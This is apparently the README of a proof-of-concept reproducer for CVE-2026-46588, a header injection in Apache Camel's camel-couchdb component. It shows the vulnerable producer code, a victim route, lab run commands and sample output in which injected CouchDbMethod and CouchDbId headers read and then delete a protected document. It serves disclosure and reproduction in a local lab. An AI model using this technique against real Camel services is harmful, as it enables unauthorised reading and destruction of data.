
Reproductor para CVE-2026-46588: Apache Camel camel-couchdb Inyección de cabeceras CouchDb* (confusión de operación) subvirtiendo un punto final de solo escritura en lectura + eliminación de documentos arbitrarios (corregido en 4.14.8/4.18.3/4.21.0)
CouchDb* Header Injection Reproducer (CVE-2026-46588)Este proyecto demuestra una inyección de cabeceras de mensaje en el componente camel-couchdb de Apache Camel, registrada como CVE-2026-46588. El componente lee varias cabeceras de Exchange para controlar su comportamiento — CouchDbDatabase, CouchDbSeq, CouchDbId (identificador del documento), CouchDbRev (revisión del documento) y CouchDbMethod (el método de operación). Los valores de cadena de estas constantes de cabecera (definidas en CouchDbConstants) usan el prefijo CouchDb en lugar del prefijo estándar Camel que usa cualquier otro componente. La estrategia de filtrado de cabeceras HTTP entrantes HttpHeaderFilterStrategy de Camel solo bloquea nombres de cabecera que comienzan con Camel / camel, por lo que estos nombres pasan por el filtro entrante sin cambios. Cuando una ruta expone un punto de entrada HTTP (por ejemplo, platform-http) delante de un productor couchdb, un cliente HTTP no confiable puede establecer estas cabeceras directamente y anular la operación que el autor de la ruta pretendía.
Esta PoC demuestra el impacto como confusión de operación: un endpoint de ingesta de documentos de solo escritura se convierte en una lectura y luego una eliminación de un documento arbitrario mediante la inyección de CouchDbMethod (y CouchDbId).
CouchDbMethod=GET + CouchDbId=<secreto> → divulgación (lee un documento que el endpoint nunca expone y filtra su _rev).CouchDbMethod=DELETE (con el _rev filtrado) → destrucción (elimina ese documento).Advisory: https://camel.apache.org/security/CVE-2026-46588.html
| Propiedad | Valor |
|---|---|
| Componente | camel-couchdb |
| Clase afectada | org.apache.camel.component.couchdb.CouchDbProducer leyendo CouchDbConstants.HEADER_METHOD ("CouchDbMethod"), HEADER_DOC_ID ("CouchDbId"), etc. |
| CWE | CWE-20: Improper Input Validation |
| Impacto | Un cliente HTTP establece cabeceras CouchDb* → anula la operación / documento → divulgación, eliminación, manipulación |
| Precondiciones | Una ruta expone un productor couchdb detrás de un consumidor HTTP (ej. platform-http); no autenticado cuando el consumidor lo está |
| Versiones afectadas | Desde 4.0.0 antes de 4.14.8, desde 4.15.0 antes de 4.18.3, desde 4.19.0 antes de 4.21.0 |
| Versiones corregidas | 4.14.8, 4.18.3, 4.21.0 |
| Corrección | PR apache/camel#23228 (main), backport vía #23230 (4.18.x) / #23231 (4.14.x) |
| Crédito | Yu Bao (PayPal) |
Misma familia de inyección de cabeceras que CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 y CVE-2026-47323. La corrección comparte su PR con el aviso hermano CVE-2026-46587 (camel-couchbase).
// CouchDbConstants (affected 4.18.2) — the header names carry the CouchDb prefix, not Camel:
String HEADER_METHOD = "CouchDbMethod";
String HEADER_DOC_ID = "CouchDbId";
// CouchDbProducer.process (affected 4.18.2) — the operation is chosen from the header:
String operation = exchange.getIn().getHeader(CouchDbConstants.HEADER_METHOD, String.class);
if (ObjectHelper.isEmpty(operation)) {
saveJsonElement(json); // default: save the body
} else if (operation.equalsIgnoreCase("DELETE")) {
deleteJsonElement(json); // delete by the body's _id/_rev
} else if (operation.equalsIgnoreCase("GET")) {
String docId = exchange.getIn().getHeader(CouchDbConstants.HEADER_DOC_ID, String.class);
exchange.getIn().setBody(getElement(docId)); // read an arbitrary document
}
La corrección (4.14.8 / 4.18.3 / 4.21.0) renombra los valores de las cabeceras a la convención de Camel — CouchDbMethod → CamelCouchDbMethod, CouchDbId → CamelCouchDbId, CouchDbRev → CamelCouchDbRev, CouchDbDatabase → CamelCouchDbDatabase, CouchDbSeq → CamelCouchDbSeq — por lo que son bloqueados por la estrategia entrante HttpHeaderFilterStrategy como cualquier otra cabecera de control de Camel. Los nombres de los campos constantes de Java no cambian.
from("platform-http:/ingest")
.removeHeaders("Camel*") // documented hardening — see below
.convertBodyTo(String.class)
.to("couchdb:http://<host>:5984/cameldb?username=..&password=..&createDatabase=true");
La intención del autor de la ruta es un endpoint de ingesta de solo escritura — los clientes POSTean documentos para ser guardados, nada más. Como endurecimiento documentado, la ruta elimina el espacio de nombres de cabeceras de control de Camel en el borde. Eso no ayuda: la cabecera de operación se llama CouchDbMethod, no CamelCouchDbMethod, por lo que no es eliminada ni por removeHeaders("Camel*") ni por el filtro de cabeceras HTTP incorporado — y el productor cambia de operación basándose en ella.
La víctima es la ruta de ingesta Camel y su base de datos CouchDB; el atacante es un cliente HTTP no autenticado que solo establece cabeceras de solicitud. Una pequeña utilidad REST siembra y lee el documento secreto para verificación, independientemente de la ruta vulnerable.
CVE-2026-46588/
├── pom.xml # camel-platform-http + camel-couchdb 4.18.2 (gson fijado a 2.13.2, ver nota)
├── Dockerfile
├── docker-compose.yml # couchdb 3.3 + la aplicación
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchDbSettings.java # host / db / creds / id del documento secreto + marcador
│ ├── CouchDbHarness.java # Utilidad REST: espera a CouchDB, siembra y lee el documento secreto
│ ├── VictimRoute.java # platform-http:/ingest -> productor couchdb (intención de solo escritura)
│ └── ExploitController.java # atacante: POST /ingest con cabeceras CouchDbMethod / CouchDbId inyectadas
└── resources/
└── application.properties
Nota: el pom fija gson.version=2.13.2 (la versión que envía Camel). De lo contrario, Spring Boot 3.2.0 fijaría la versión anterior gson 2.10.1, que carece de
com.google.gson.internal.GsonTypesy hace que el SDK de Cloudant incluido lanceNoClassDefFoundErroren tiempo de ejecución.
mvn clean package -DskipTests
docker compose up -d --build
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
secret document in CouchDB (read straight from the database):
{"_id":"admin-secret","_rev":"...","secret":"confidential salary and bonus figures","marker":"FLAG{couchdb_method_injection_CVE_2026_46588}"}
=== 1) Ingesta legítima (sin cabeceras CouchDb*) — se guarda un nuevo documento ===
{"note":"benign user submission"}
=== 2) CouchDbMethod=GET + CouchDbId=admin-secret inyectado — lee un documento protegido ===
{ "_id": "admin-secret", "_rev": "...", "marker": "FLAG{couchdb_method_injection_CVE_2026_46588}", ... }
disclosure: true
=== 3) CouchDbMethod=DELETE inyectado (con el _rev filtrado) — elimina el documento protegido ===
secret document now: <not found>
destruction: true
>>> Prueba de confusión de operación / inyección de cabeceras — un cliente no autenticado convirtió un endpoint
>>> de ingesta de solo escritura en lectura (verdadero) y eliminación (verdadero) de un documento arbitrario,
>>> a través de las cabeceras CouchDbMethod / CouchDbId.